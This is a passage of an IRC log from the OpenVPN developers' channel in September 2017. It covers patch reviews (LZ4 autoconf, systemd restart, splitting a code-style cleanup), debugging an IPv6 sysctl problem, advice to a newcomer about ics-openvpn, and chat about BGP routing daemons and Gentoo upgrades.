whacking? 10:33 <+novaflash> CRCinAU: i would not call myself that great at it but i've often helped people out with strange css issues 10:33 <+novaflash> and uh. i guess i build websites and stuff 10:35 < CRCinAU> novaflash: https://lamp.crc.id.au/flights/ 10:35 <@vpnHelper> Title: ADS-B Traffic Logger (at lamp.crc.id.au) 10:35 < CRCinAU> ahhhh poop 10:36 <+novaflash> you're welcome 10:36 < CRCinAU> my resizing stuff killed the google maps.... hang on lol 10:36 <+novaflash> sure np 10:37 < CRCinAU> actually, it seems my other fixes fixed my problem too 10:38 < CRCinAU> if I clicked a GPS co-ords to bring up a google maps modal, the map content was 1-2 pixels out to the right 10:38 < CRCinAU> now its flush on both left & right.... 10:39 <+novaflash> CRCinAU: i actually went back in time and fixed it for you. now i'm waiting for my reward. 10:39 < CRCinAU> and I think its because I changed the div I was activating as a container for the google maps javascript 10:39 <+novaflash> related; http://i.imgur.com/quOGEtW.jpg 10:39 < CRCinAU> hahaha - seems about right ;) 10:41 < CRCinAU> I've been adding the search functions to use the same modal as the maps 10:41 < CRCinAU> so you can look up in my database the history of a certain callsign or airframe id 10:44 <+novaflash> neat 10:45 < CRCinAU> but I specifically wanted to use the same modal so I don't end up repeating code until the end of time ;) --- Day changed Mon Sep 18 2017 03:20 -!- cron2_ is now known as cron2 04:26 < Luqman> dazo: huh odd, i thought i tried to ctrl-f it but maybe those weren't updated man pages. Thank you! 10:39 < swap2> hey guys, i need help in building an android app based on ics-openvpn which connects to my openvpn server without the need of client config, username and pass. I'm new to android app development. 10:40 < swap2> i don't know how to hard code the parameters passed by the config file. 10:54 < swapman> hello 10:56 < swapman> sorry, i was not able to receive a reply due to a power-cut at my place. I'm banned now, can I get unbanned? 11:21 <@plaisthos> swapman: we did not ban anyone 11:21 <@plaisthos> swapman: did you ask about the ics-openvpn client? 11:22 <@plaisthos> swapman: are you planning on publishing the source code of your client? 11:22 < swapman> sorry, might have been a mistake from my side. 11:23 < swapman> yes i was talking about ics-openvpn client 11:23 < swapman> yes i'm planning to post the source code. 11:23 <@plaisthos> just asking ;) 11:24 <@plaisthos> too many people don't even though it is GPL2 11:24 < swapman> ikr 11:25 < swapman> i compiled the project on android-studio and the apk did not work 11:25 <@plaisthos> swapman: there is a README 11:25 <@plaisthos> doc/README 11:25 <@plaisthos> or one of zillion issues of people that could not read the README 11:26 < swapman> thank you, till now i was trying to figure out things from the github readme. stupid me! 11:26 <@plaisthos> that points you to that readme too... 11:26 <@plaisthos> "If you want to develop on ics-openvpn please read the doc/README.txt before opening issues or emailing me." 11:27 < swapman> ok thank you 11:27 < swapman> did you develop ics-openvpn? 11:27 <@plaisthos> yes 11:28 < swapman> great 11:28 < swapman> can i pm you? 11:29 <@plaisthos> what about? 11:29 < swapman> my idea of the app 11:30 <@plaisthos> sure, but be prepared that if you want me to develop something that my time is not cheap 11:32 < swapman> yes thank you, i will pm you when i'm fully sure of the feasibility of my idea 11:32 <@plaisthos> I not always on IRC, it might take a day or two for me to answer 11:32 <@plaisthos> if you want a quicker answer mail me 11:33 < swapman> can you tell me your email? 11:33 <@plaisthos> you should be able to find it ;) 11:33 <@plaisthos> it is not exactly hidden :) 11:36 < swapman> i found a weird email id 11:36 < swapman> should i post it here? 11:37 <@plaisthos> weird as in rfc2549? 11:37 < swapman> yes 11:37 <@plaisthos> not is not weird :P 11:37 <@plaisthos> it is just not gmail 11:38 < swapman> your workplace email? 11:38 <@plaisthos> no 11:38 <@plaisthos> private one 11:38 < swapman> cool 11:38 <@plaisthos> ics-openvpn is a spare time project 11:39 < swapman> no, ics-openvpn will be a serious project as is my first time with android app development 11:41 <@plaisthos> that does not change that it is a spare time project for me :) 11:44 < swapman> any kind of help is awesome 11:44 <@plaisthos> basically what the first FAQ point of the doc/README.txt says 11:45 < swapman> yes i'm reading it... 11:47 < swapman> i'm not planning it to make it commercial 11:47 < swapman> it is for my friends who do not know how to use openvpn 11:48 <@plaisthos> installing app and then opening an email attachment or a link shouldbe easy enough for friends 11:49 <@plaisthos> you don't need or want the trouble to program a app for that 11:50 <@plaisthos> (btw. that sounds like one of the excusion of people of commerical apps are making) 11:51 <@plaisthos> (and then forgot to hide/replace one instance of their true appname in the log, com.mysupervpn is for your friends, sure ...) 11:52 < swapman> i just needed to get started with android app development. I thought it will be simple if i start with trying to understand a prebuilt app's code and make my modifications on it. 11:54 <@plaisthos> ics-openvpn might not be the best starter app :D 11:54 <@plaisthos> it uses some of the more strange concepts you will not find in normal apps 11:54 <@plaisthos> like multiple processes, AIDL or native code 11:54 < swapman> oh, can you suggest me something to get started :) 11:54 <@plaisthos> sure you can go and hack on ics-openvpn 11:55 <@ordex> swapman: if you are starting with android I would personally recommend you start with some tutorials/guide and build a sample app by yourself. understanding the architecture of a prebuilt app might be non-trivial 11:55 <@plaisthos> but just be prepared to stumble on some strange things in my app :) 11:56 < swapman> Ok, then i will first get some tutorials and then i will try my best to understand the code 11:57 <@plaisthos> be warned that the ui process and the openvpn service process of the app act more like two different apps with the same codebase 11:57 <@plaisthos> i.e. they share no data and communicate with each other like seperate app would do 11:58 <@ordex> plaisthos: how do they talk to each other? via management interface ? 11:58 <@plaisthos> ordex: nope 11:58 <@plaisthos> opnepnv is yet antoher process that is controlled via management from the openvpn service process :) 11:59 <@plaisthos> you basically have 11:59 <@ordex> :D ok 11:59 < swapman> ok, i will try to get my head around some simple apps before touching ics-openvpn 12:00 <@plaisthos> [android ui process] <= AIDL, Intents, Paracablefiledescriptor => [background service process] <= management, unix file descriptors => OpenVPN 12:00 <@plaisthos> for the user 12:00 <@plaisthos> [app] 12:00 <@plaisthos> :) 12:00 <@plaisthos> swapman: ics-openvpn is a rather atypical app in many areas 12:01 <@plaisthos> but has a good ui/control seperation :) 12:01 <@plaisthos> which was very helpful when I integrated the process seperation 12:01 < swapman> ok 12:02 <@ordex> Paracablefiledescriptor << sounds like a naughty word :D 12:02 <@ordex> I guess they are similar to unix sockets ? 12:03 <@plaisthos> ordex: file descriptors passed over a unix socket 12:03 <@plaisthos> or between apps in android 12:03 <@ordex> yeah 12:03 <@ordex> I see :) 12:04 <@plaisthos> the fd of the tun is going through at least 3 processes :D 12:05 <@ordex> hehe --- Day changed Tue Sep 19 2017 01:11 -!- Netsplit over, joins: plaisthos 01:11 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 01:11 -!- mode/#openvpn-devel [+o ordex] by ChanServ 03:49 <@ordex> aloha 03:52 <@dazo> hey! 03:52 <@ordex> :) 03:52 <@ordex> dazo: do you want me to resend the patches currently pending in the PRs via email? or I should start sending emails with the next ? 03:52 <@ordex> dazo: ehm, this should have been an internal message:P 03:52 <@dazo> ordex: start with the next ones 03:52 <@dazo> :-P 03:52 <@ordex> oky! 03:53 <@dazo> it's high up on my todo list ... just needed to complete the user interaction queue challenge 03:53 <@dazo> (almost done ... I hope! :) ) 03:58 <@ordex> :D 04:49 <@mattock> topic list for tomorrow: https://community.openvpn.net/openvpn/wiki/Topics-2017-09-20 04:49 <@vpnHelper> Title: Topics-2017-09-20 – OpenVPN Community (at community.openvpn.net) 04:49 <@mattock> ordex: any particular details to add to the tls-crypt-v2 topic? 04:53 <@ordex> yes, I will add 07:46 < CRCinAU> topic add: contrib script review. 07:47 < CRCinAU> topic add: next release schedule. 08:32 <@cron2> next release is scheduled for coming monday 08:32 <@cron2> (-ish) 09:19 <@ordex> mattock: I added something 10:28 <@mattock> ordex: ok 10:28 <@mattock> I'll send the invitation 10:30 <@ordex> thanks 12:04 <@syzzer> mattock, ordex: I can't make it tomorrow 12:04 <@syzzer> so not sure if dicussing tls-crypt-v2 make sense... 12:04 <@ordex> probably not :) 12:04 <@ordex> we can postpone that 12:10 <@syzzer> yeah, finally give the vlan patch set some attention :) 12:11 <@syzzer> and the other patches waiting on the list 12:16 <@ordex> hehe 12:16 <@ordex> yesss 12:16 <@ordex> we'll trap cron2 13:40 <@cron2> huh 13:40 * cron2 has a commercial router here that ships openvpn 2.4.2 (whee!) - but for ipv6 ifconfig, it calls "ifconfig" and that one doesn't work 13:42 <@cron2> ordex: if I'm root, and want to add a v6 address, and the kernel replies with 13:42 <@cron2> RTNETLINK answers: Permission denied 13:43 <@cron2> what does it want to tell me? 13:44 <@cron2> v4 works fine, just v6 not, but ipv6 is loaded... 14:03 <@plaisthos> does ip addr work? 14:03 <@cron2> no 14:03 <@cron2> same error 14:03 <@plaisthos> err ipv6.disabled sysctl set? 14:04 <@plaisthos> do you see link local addresses on interfaces? 14:04 <@cron2> net.ipv6.conf.all.disable_ipv6 = 1 14:04 <@cron2> wtf 14:04 <@cron2> thanks 14:04 <@plaisthos> ha :) 14:04 <@cron2> ("why oh why...") 14:04 <@plaisthos> probably this ipv6 thingy is scary 14:04 <@plaisthos> better disable it 14:05 <@plaisthos> nobody needs that stuff anyway .. 19:55 < CRCinAU> so what's the current state of the union with CAs? 19:55 < CRCinAU> if anyone happens to know.... 19:55 < CRCinAU> I need one EV cert and two wildcard certs... 19:55 < CRCinAU> but with CA's dropping / being delisted like flies......... 20:55 <@ordex> cron2: was it the disable_ipv6? 20:55 <@ordex> hehe 20:55 <@ordex> "safety measure!" 21:02 < CRCinAU> hah 21:03 < CRCinAU> I got nailed by disable_ipv6 today too ;) 22:05 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Read error: Connection reset by peer] 22:15 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 22:15 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Wed Sep 20 2017 02:51 <@cron2> ordex: indeed. No idea why they do that, and (worse) why a device with a firmware developed in 2017 does not have a global button "beam me into 21st century = turn on IPv6" 02:52 <@ordex> :D 02:52 <@ordex> yeah 02:52 <@cron2> it has a few oddball IPv6 things, like "[X] accept RA" on the LAN interface - which does not truly make sense 02:52 <@cron2> and the LTE has a box [x] force ipv4 only which makes it request a different PDP from the network 02:52 <@ordex> uhm 02:52 <@cron2> ... but if it does request a dual-stack PDP, it will subsequently ignore the IPv6 part... 02:53 <@ordex> ok...sound slike they just said "we'll think about ipv6 'later'" 02:53 <@ordex> which will never come of course. but it's so bad. most of the ipv6 logic just works out of the box if you do things properly 02:53 <@cron2> annoying, but "linux inside, with full shell access and scripting" and "immensely good LTE modem" (= got LTE in italy where all our phones and tablets claimed 'only 3G here') 02:53 <@ordex> putting effort into preventing it from working it's a waste 02:53 <@cron2> yeah 02:54 <@ordex> ah wow nice 02:54 <@ordex> is it some kind of LTE/3G wifi gateway ? 02:54 <@cron2> well, on a router, it's not exactly trivial to get right - firewalls, VPN stuff with v6 inside and outside, DHCPv6 prefix delegation, ... 02:54 <@cron2> yes, www.rut240.com 02:54 <@ordex> yeah 02:55 <@ordex> problem with those things is that usually the LTE modem driver is closed source and there is no way to make it work on latest kernel...thus you rarely see openwrt running on those boxes 02:55 <@ordex> oh equipped with ethernet ports too 02:55 <@cron2> it is based on openwrt, but with lots of enhancements 02:55 <@ordex> I see 02:55 <@ordex> well, not bad then 02:55 <@cron2> there is also www.rut950.com which is the "big brother" - faster wifi, more LAN ports 02:56 <@ordex> does it work with every provider? 02:56 <@ordex> this starts to bea real enterprise thing 02:56 <@ordex> on vacation I usually just use my phone with tethering on :P 02:57 <@ordex> but the little guy is not bad, even good priced 02:58 <@cron2> it has no battery, so is not a true replacement for a "phone hotspot" 02:58 <@ordex> yeah 02:58 <@cron2> not sure about the LTE frequencies world-wide - across europe, it seems to work in most places 03:01 <@ordex> well, I guess it is not single band 03:02 <@ordex> phones usually are able to do LTE/4G everywhere 05:07 <@plaisthos> nah 05:07 <@plaisthos> not really 05:08 <@plaisthos> there are so many lte bands 05:08 <@plaisthos> https://en.wikipedia.org/wiki/LTE_frequency_bands 05:08 <@vpnHelper> Title: LTE frequency bands - Wikipedia (at en.wikipedia.org) 05:15 <@ordex> yeah 05:15 <@ordex> but i think more or less phones are capable of connecting to various freq 05:15 <@ordex> or maybe not with every technology 05:15 <@ordex> next time i check better :O 07:35 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Read error: Connection reset by peer] 07:40 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 07:40 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 12:17 -!- lev__ [~lev@openvpn/corp/lev] has joined #openvpn-devel 12:18 -!- mode/#openvpn-devel [+v lev__] by ChanServ 13:17 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 13:17 -!- mode/#openvpn-devel [+v janjust] by ChanServ 13:27 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 14:37 <@mattock> janjust: sorry for the confusion - the meeting time in the invitation was wrong --- Day changed Thu Sep 21 2017 08:14 <@dazo> ordex: cron2: got a chance to review this one? http://mid.mail-archive.com/20170907172004.22534-1-davids@openvpn.net ... or should I take ordex' response as an ACK? (I'll clean-up the annoying extra space at commit time) 08:14 <@vpnHelper> Title: [Openvpn-devel] [PATCH v2] lz4: Move towards a newer LZ4 API (at mid.mail-archive.com) 08:15 <@ordex> dazo: to me it looked good, but I am not a autoconf master, herefore I did not explicitly ack'd it 08:15 <@ordex> *therefore 08:16 <@cron2> dazo: at a customer right now, will mark it for tonight 08:17 <@dazo> ordex: no worries :) 08:17 <@dazo> cron2: thx! 08:17 <@dazo> I'm also considering to lazy-ack this systemd patch (automatic restart feature) ... http://mid.mail-archive.com/20170906235202.26551-1-davids@openvpn.net 08:17 <@vpnHelper> Title: [Openvpn-devel] [PATCH] systemd: Enable systemd's auto-restart feature for server profiles (at mid.mail-archive.com) 08:20 <@dazo> (I've already lazy-acked the KillMode=process patch ... as that does really makes openvpn behave as expected when stopping it; tested on my own systems) 08:23 <@cron2> yeah. I think nobody really objects - I wanted exponential backoff, but if it cannot be done, your approach is very reasonable 08:27 <@dazo> that's my thinking too :) 08:29 < CRCinAU> so ummmm... geting contrib scripts reviewed ;) 08:42 <@dazo> :) 08:44 <@dazo> CRCinAU: if you can find me in the Matrix and upload the Perl-Decoder module (without those pesky "you'll go crazy" bugs) ........... 09:13 <@cron2> there is nothing in a well-formed perl script that would cause craziness 09:13 <@cron2> otoh, python... *pull hair* 10:51 <@ordex> :D 12:00 <@ordex> any reason why we have things like BOOL_CAST() in the code? that should not be required as per C's design 12:40 <@cron2> ordex: bool has a long history and a number of bugs in our code :-) - it *used* to be "typedef int bool" and some part of the code actually stored 0,1,2 in it *and expected to read back 2*... 12:40 <@cron2> then we changed to <stdbool.h> and stuff exploded :) 12:41 <@cron2> so, most likely, this can go (but of course, usage needs to be checked, and possibly () added) 15:18 <@dazo> ordex: I've been going through your route: cleanup codestyle and make code more readable" patch today. Code style cleanup looks good. But I'm a bit uneasy with some of the changes mixed into it (like the ones in add_block_local() - line 613 or the code reordering around line 3300; might be a few more) 15:19 <@dazo> ordex: main challenge is that this is a fairly large change set ... so having just code style/whitespace/parentheses separated from the reordering of the code would be good 15:20 <@dazo> that highlights better the bigger changes in the code style clean-up, which is easier to get wrong and cause bugs .... while a whitespace change would very seldom cause new bugs 15:21 <@dazo> so easier to bisect or in worst case reverting just a single part .... than everything at once 15:21 <@dazo> the tl;dr ... postponing this patch until after the release 15:45 <@vpnHelper> RSS Update - tickets: #935: openvpn supposedly dropped privs so that is cannot re-read "auth-user-pass auth.txt" file <https://community.openvpn.net/openvpn/ticket/935> 15:58 <@vpnHelper> RSS Update - tickets: #936: Cannot start 3rd openvpn instance unless 'nobind' <https://community.openvpn.net/openvpn/ticket/936> 18:52 <@vpnHelper> RSS Update - gitrepo: Fix bounds check in read_key() <https://github.com/OpenVPN/openvpn/commit/3b1a61e9fb27213c46f76312f4065816bee8ed01> || systemd: Enable systemd's auto-restart feature for server profiles <https://github.com/OpenVPN/openvpn/commit/a4686e99b047081f0ef6f7945450183088464aa5> || tcp-server: ensure AF family is propagated to child context <https://github.com/OpenVPN/openvpn/commit/682e7feac3bd57e6ce7e60504cb4da5c894d0 19:57 < CRCinAU> LOL @L 19:57 < CRCinAU> Please stop sending me mails u fools, this is not unsubscribing fed up of this. 19:57 < CRCinAU> Remove my mail I'd for GOD sacks 19:57 < CRCinAU> signs up to mailing list, complains about getting email.... 19:57 < CRCinAU> I'm not surprised tbh. 20:39 <@ordex> dazo: I agree with that. I usually avoid unrelated changes. that may have slipped in, or I considered it "a style change". I'll go through it 20:58 <@ordex> dazo: and btw, I'd always consider restyling patches like that *not* to go in a maintenance release, because nobody knows what can be hidden..so generally better target master/2.5 only 21:46 <@ordex> dazo: about add_block_local(), did you mean the fact that I am creating "in_addr_t net1 = rl->rgi.gateway.addr & rl->rgi.gateway.netmask;" ? 21:46 <@ordex> and similar? 21:46 <@ordex> if yes, those are part of the restyling. I am shoartening ugly long lines by using temporary variables 21:47 <@ordex> but as I said, we should really not think about these changes for the maintenance branch. generally they can hide bugs for sure (although they should not). it's a restyle after all --- Log closed Fri Sep 22 00:03:24 2017 --- Log opened Fri Sep 22 07:28:18 2017 07:28 -!- Irssi: #openvpn-devel: Total of 33 nicks [9 ops, 0 halfops, 3 voices, 21 normal] 07:28 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 07:28 -!- Irssi: Join to #openvpn-devel was synced in 11 secs 07:29 <@syzzer> mattock: removal was already planned for 2.5 07:30 <@syzzer> (and for -NL we remove it immediately, even from our 2.3 release) 07:33 <@cron2> gone with the wind 08:00 <@dazo> cron2: hehe ... yeah, the release/2.1 applied without any complaints - so I thought "why not?" :) 08:03 <@dazo> ordex: the reason I consider maintenance branches, is to make future cherry-picks easier with less conflicts .... and if someone contributes patches for 2.4, they often applies more easily on master 08:10 <@ordex> dazo: yeah, I get that. still, I feel it is too risky. but it's up to you:) 08:11 <@dazo> ordex: yeah, agreed that I'm not taking too light on it .... which is why I'd like to see whitespace fixes separate from "readability" changes 08:12 <@ordex> ah 08:12 <@ordex> that was about shortening lines 08:12 <@ordex> what do you suggest then ? 08:13 <@ordex> to split the patch or to wait and get it into master? 08:15 <@dazo> I'd like to see it more split up, to be honest .... keep whitespaces and the rearranging of line flows by itself (what I call whitespace patches) ... and where you modify code (using temp variables, etc - what I call readability patches), have more of them - perhaps limited to a single set of functions or even a single function 08:15 <@dazo> if we need to revert or improve something - it is so much easier to work on smaller patches .... and especially if reverts are needed 08:16 <@dazo> otherwise ... we apply a large patch, work a bit more with patches sent for review, discover a bug in the large patch set, revert it ... and all the already sent patches will conflict 08:17 <@dazo> and the chances for a bug in pure whitespace patches are considerably less than when we start reworking the code (readability changes) 11:08 <@vpnHelper> RSS Update - tickets: #937: Socket option "IPV6_V6ONLY=0" not allowed on DragonFlyBSD and OpenBSD <https://community.openvpn.net/openvpn/ticket/937> 11:19 <@ordex> aloha 11:19 <@ordex> dazo: did you write something after my question? because I suddenly disconnected and my client probably dropped those messages 11:23 <@cron2> ordex: what's your trac username? 11:24 <@ordex> ordex 11:26 <@ordex> ah I also replied to that :P 11:27 <@cron2> interesting timing :) 11:27 <@cron2> clarifying a bit - have to go feed the kids, then back 11:28 <@ordex> thanks for clarifying 11:29 <@ordex> if there would be more motivation floating around, I wouldn't mind continuing that task...but it looked like a lot of pain with no gain :P 12:50 <@cron2> re 12:50 <@cron2> oh, there are number of good use cases - like, "run openvpn on udp/1194 with fallback to tcp/443 for stupid hotels" *and* share a single IP pool across both connections, without having to meddle with tons of external scripts to achieve that... 14:47 <@dazo> I've tackled that by defining the VPN to be for example 10.8.0.0/24 in firewalls and everywhere else on the site. Then I have two OpenVPN servers with 10.8.0.0/25 and 10.8.0.128/25 14:48 <@dazo> but I don't use --ifconfig-push ... I don't depend on static IP addresses for my VPN clients 14:48 <@dazo> --ccd with --ifconfig-push, I mean 14:51 <@dazo> config file wise ... I have all tls/keys stuff which is identical in all configs in a common.inc file .... then use --config common.inc inside the config files for each VPN process where the different ports are configured 15:39 <@cron2> sure, but I want (and/or need) to have well-defined IP addresses and routes on clients... 15:41 <@dazo> that's another challenge indeed 15:41 <@dazo> especially if dynamic DNS updates won't solve the challenge 15:42 <@cron2> I connect whole networks across VPNs :-) - and the host behind the VPN client cannot be renumbered just because I end up on a different port 15:43 <@cron2> but that's actually mixing a few different use cases. Road-warriors who need stable addresses due to ACLs elsewhere, and using OpenVPN as an overlay connection method to give stable addresses to a whole network when having to do backup over LTE or so 15:44 <@cron2> the latter case needs dynamic routing on the server side anyway and external config (like radiusplugin) 15:45 <@dazo> yeah .... I'd question all this if you just joined #openvpn and asked questions about routing .... but knowing you (and what you do for a living) over many years, I know there's not much you wouldn't have tried already :) 15:48 <@cron2> I need to finish the stuff @work and then document it, and all of a sudden everything makes sense :-) 15:51 <@cron2> (as a side note, I found a model helicopter in the basement this evening that I had fully and completely forgotten about... like, hardly any time at all for that stuff for the last 7 years...) 15:51 <@cron2> anyway... plaisthos: are you around? 15:52 <@dazo> but another thing ... lz4 patch? 15:52 <@dazo> 20170907172004.22534-1-davids@openvpn.net 15:52 * cron2 fetches a toothbrush and goes looking 15:53 <@dazo> :) 16:00 <@cron2> dang, I thought I could get by by staring at the patch and nodding, but this configure stuff has complicated corner cases 16:00 <@cron2> like, why this change? 16:00 <@cron2> - AC_DEFINE(ENABLE_LZ4, 1, [Enable LZ4 compression library]) 16:00 <@cron2> + AC_DEFINE(ENABLE_LZ4, [1], [Enable LZ4 compression library]) 16:07 <@dazo> that is actually best practice 16:08 <@cron2> what does it *do*? 16:08 <@dazo> all strings and values should now be enclosed in [] 16:08 <@cron2> a-ha 16:09 <@dazo> that said ... I now wonder if even ENABLE_LZ4 should also be in [] .... but I'd keep that for a clean-up later on, the current stuff should work 16:09 <@cron2> looking through configure.ac, I see all variants 16:09 <@cron2> AC_DEFINE(ENABLE_SYSTEMD, 1, [Enable systemd integration]) 16:09 <@cron2> AC_DEFINE([ENABLE_CRYPTO_MBEDTLS], [1], [Use mbed TLS library]) 16:10 <@cron2> so, maybe we need a 2.5 configure.ac cleanup... 16:10 <@dazo> yeah, it needs a proper clean-up ... I just tried to do the most correct things where I touched things now 16:11 * dazo is slightly annoyed by autotools always changing the best practice 16:11 <@cron2> yeah 16:16 <@dazo> just checked one of my autotools resources ... and he says integers don't need square brackets, but for simplicity (due to m4) use it everywhere else ... but he doesn't say it's wrong using it on integers, just not needed 16:16 <@dazo> but I've read other places where integers were recommended too, but can't find it now 16:16 <@dazo> https://www.dwheeler.com/autotools/ 16:16 <@vpnHelper> Title: Introduction to the Autotools (autoconf, automake, and libtool) - Home Page (at www.dwheeler.com) 16:16 <@dazo> (4.2 Style guide for configure.ac) 16:26 <@cron2> barely 35 minutes for review and test, wohoo 16:26 <@dazo> :) 16:26 <@dazo> thx! 16:28 <@dazo> hmmm ... interesting ... I tested this with no system lz4 (builds with compat-lz4), outdated system lz4 (builds with compat-lz4) and up-to-date system lz4 (builds with system lz4) ... and also tested --disable-lz4 16:29 <@dazo> but will dig into the NEED_COMPAT_LZ4 16:29 * cron2 was too lazy to find a system with *old* lz4, and --disable-lz4 didn't come to my mind :-) 16:29 <@cron2> dazo: dig where? the version number printing patch? 16:30 <@dazo> ahhh ... that's what you commented 16:30 * dazo got the second mail now 16:30 <@cron2> that's not your patch, so no worries :) 16:30 <@cron2> your patch got a bit of headscratching, two whitespace comments, and an ACK :) 16:32 <@dazo> that additional blank line was actually intentional ... but I can remove it :) 16:32 * dazo likes some air between #include "section" and the code 16:33 <@cron2> well, it's a bit unrelated to the rest... and since we tell everybody else "do not mix purely cosmetic changes with code changes", that's what you get as well :-) - but if your heart is in that, leave it in. No strong feelings here, I just noticed it and thought it stray 16:34 <@cron2> and now I need to sleep! (should have been in bed 45 minutes ago - thanks for actually reminding me of the lz4 stuff, I had too many interrupts again and forgot) 16:34 <@dazo> thx a lot for all! 16:34 <@dazo> g'night! :) 16:35 * dazo will complete this patch round and dig into other things for a bit 17:01 <@vpnHelper> RSS Update - gitrepo: lz4: Move towards a newer LZ4 API <https://github.com/OpenVPN/openvpn/commit/5f6225c32e41a922069964d9d59c2fcd6589f74c> 18:46 < slypknot> My "reservation" is hereby retracted from this: commit a4686e99b047081f0ef6f7945450183088464aa5 20:03 -!- cron2 [gert@openvpn/community/developer/cron2] has quit [Read error: No route to host] --- Day changed Sat Sep 23 2017 03:17 -!- cron2 [gert@openvpn/community/developer/cron2] has joined #openvpn-devel 03:17 -!- mode/#openvpn-devel [+o cron2] by ChanServ 03:18 <@cron2> mornin' 03:19 <@cron2> dazo: humm, your ack-am script has grown interesting warts 03:19 <@cron2> Acked-by: Gert Doering 03:20 <@cron2> Signed-off-by: David Sommerseth 03:20 <@cron2> oh, interesting 03:20 <@cron2> *git log* has the full detail, just the mail to the list doesn't, so I assume this is intentional 22:00 -!- cron2 [gert@openvpn/community/developer/cron2] has quit [Ping timeout: 252 seconds] --- Day changed Sun Sep 24 2017 10:30 -!- cron2 [gert@openvpn/community/developer/cron2] has joined #openvpn-devel 10:30 -!- mode/#openvpn-devel [+o cron2] by ChanServ 10:31 <@cron2> did I miss anything important? 10:32 <@ordex> the last message I have logged in the channel is yours 10:32 <@ordex> so I guess you did not miss much :) 10:33 <@cron2> good :) (my irc machine is acting up, and falling off the net every now and then... "bge1: watchdog timeout -- resetting" and then as if nothing happened... 10:40 <@ordex> mh 10:40 <@ordex> cron2: what daemon do you normally use for bgp ? 10:41 <@cron2> traditionally, quagga. Then, openbgpd, because quagga is borked. Then, bird, because people tell me that it's vastly superiour to everything else :-). Lately, I've been told that FreeRouting (or what it's called) is a quagga/zebra fork with all the issues fixed, and lots of features added... 10:41 <@cron2> and for announcement-only, exabgp... 10:41 <@cron2> what do you want to do? 10:42 <@ordex> right now nothing, I don't have time :D 10:42 <@ordex> but i was curious to hear from you 10:42 <@ordex> I used quagga a lot of time ago, then I moved to bird 10:42 <@ordex> and I think it was much simpler to configure and understand than quagga 10:43 <@ordex> but i never heard of freerouting 10:43 <@cron2> maybe it's called differently, let me search 10:44 <@cron2> ah, it's called "free range routing" - https://frrouting.org/ 10:44 <@vpnHelper> Title: FRRouting (at frrouting.org) 10:44 <@cron2> but yeah, right now I plan to use bird or exabgp for my needs - exabgp because it doesn't even try to be a "routing daemon", just makes BGP announcements in a script driven way - and if that is exactly what you want, it seems to be the best choice 10:45 <@ordex> oh cool 10:45 <@ordex> I will look it up 10:45 <@ordex> and free range routing sounds pretty much like the chickens 10:45 <@ordex> :p 10:45 <@cron2> *g* 10:53 <@ordex> ah but ffrouting is really fresh - it was available this year 10:53 <@ordex> *was made 10:54 <@cron2> I'm not sure why they needed to give it a new name, since all the old (still active) quagga developers are now in frrouting - but maybe "everybody knows that quagga sucks" is one of the reasons :) 10:54 <@ordex> likely :D 10:55 <@ordex> new name, new skin 10:55 <@ordex> easier to detach from the old stereotypes 10:59 <@ordex> mh, memoryleak in OSPFv2 and v3 11:00 <@ordex> I hope they haven't introduced too many bugs while fixing the old ones :P 11:07 <@cron2> memoryleak is something new - traditional quagga ospf usually never ran long enough to develop a mem leak 20:33 < CRCinAU> heh - I still use quagga for RIP advertisements 20:58 <@ordex> R.I.P. --- Day changed Mon Sep 25 2017 02:01 <@cron2> debian/ubuntu are... weird. OpenSSL 1.1 is installed in /urs/lib/x86_64-linux-gnu/ (the libraries), while 1.0.0 is installed in /lib/x86_64-linux-gnu/ 02:16 <@ordex> somebody decided it was time for a change I guess 02:16 <@ordex> and they did it only for the new version 02:17 <@ordex> actually .. this reminds me that I should try to install openssl1.1 here and see what explodes 02:17 <@ordex> mah in gentoo openssl-1.1 does not reside in its own slot..therefore it can't live together with 1.0 02:21 * cron2 has started to replace gentoo systems with ubuntu... the way gentoo falls apart if you only do world upgrades every half year or less is taking too much time 02:21 <@cron2> (some of these are test systems that only get booted when I need them, others are like "management station at customer site" which I rarely need, ...) 02:22 <@ordex> yeah 02:22 <@ordex> upgrading once every several months can be really painful 02:22 <@ordex> that's the problem of having a rolling release 02:23 <@ordex> I sync every morning while having breakfast 02:23 <@ordex> :D 02:23 <@cron2> this works nicely for a machine that is used every day or week, yes :-) (unless it explodes due to libav/ffmpeg...) 02:23 <@ordex> :D 02:23 <@ordex> right 02:23 <@ordex> yeah, I am talking about my laptop. so that makes sense 02:24 <@ordex> actually I have a server with gentoo that I don't upgrade since almost a year 02:24 <@ordex> I am afraid of starting of strating the upgrade now :D 02:24 <@cron2> that will be fun indeed... first of all, "emerge -uD world" will tell you that lots of things are conflicting with itself 02:24 <@cron2> like, "I want to upgrade perl to 5.24 but that conflicts with 5.22 which is currently installed and required by currently installed packages" 02:24 <@ordex> yes 02:25 <@ordex> will bea blood bath 02:25 <@ordex> and I can't risk to take it offline because nobody nearby is skilled enough to connect a monitor and check 02:25 <@ordex> :D 02:25 <@ordex> better to keep it like that for a bit .. 02:25 <@cron2> I had that particular madness on lots of system, and it seems to be related to "portage calculates dependencies differently" - so in the end, "emerge --oneshot portage" made it upgrade again... 02:26 <@cron2> (after stalling the upgrade long enough so they fixed portage :) ) 02:26 <@ordex> hehe 02:26 <@ordex> yeah, emerging portage at first is a good idea 03:09 < CRCinAU> dazo: do you happen to have an F27 build with the token patches? 03:58 <@dazo> CRCinAU: nope ... and I won't bother, as we'll do the tagging today 03:58 <@dazo> so later this week, I'll push out an updated official build 03:59 <@dazo> (and you can just download the .src.rpm ... and do a mock --rebuild -r fedora-27-x86_64 $SRC_RPM ;-)) 04:57 <@ordex> dazo: mattock: cron2: have you seen the email about the donation? 04:57 <@mattock> ordex: yes, I saw it 04:58 <@ordex> has this ever happened before? 04:58 <@ordex> or we never had to handle donations? 05:04 < CRCinAU> ahhh cool 05:05 < CRCinAU> that's ok - The F27 stuff should be well and truely under way now 05:05 < CRCinAU> hence you should be able to submit for the F27 tree. 05:16 <@dazo> ordex: Last time we had a donation, it was labelled "food and drinks at 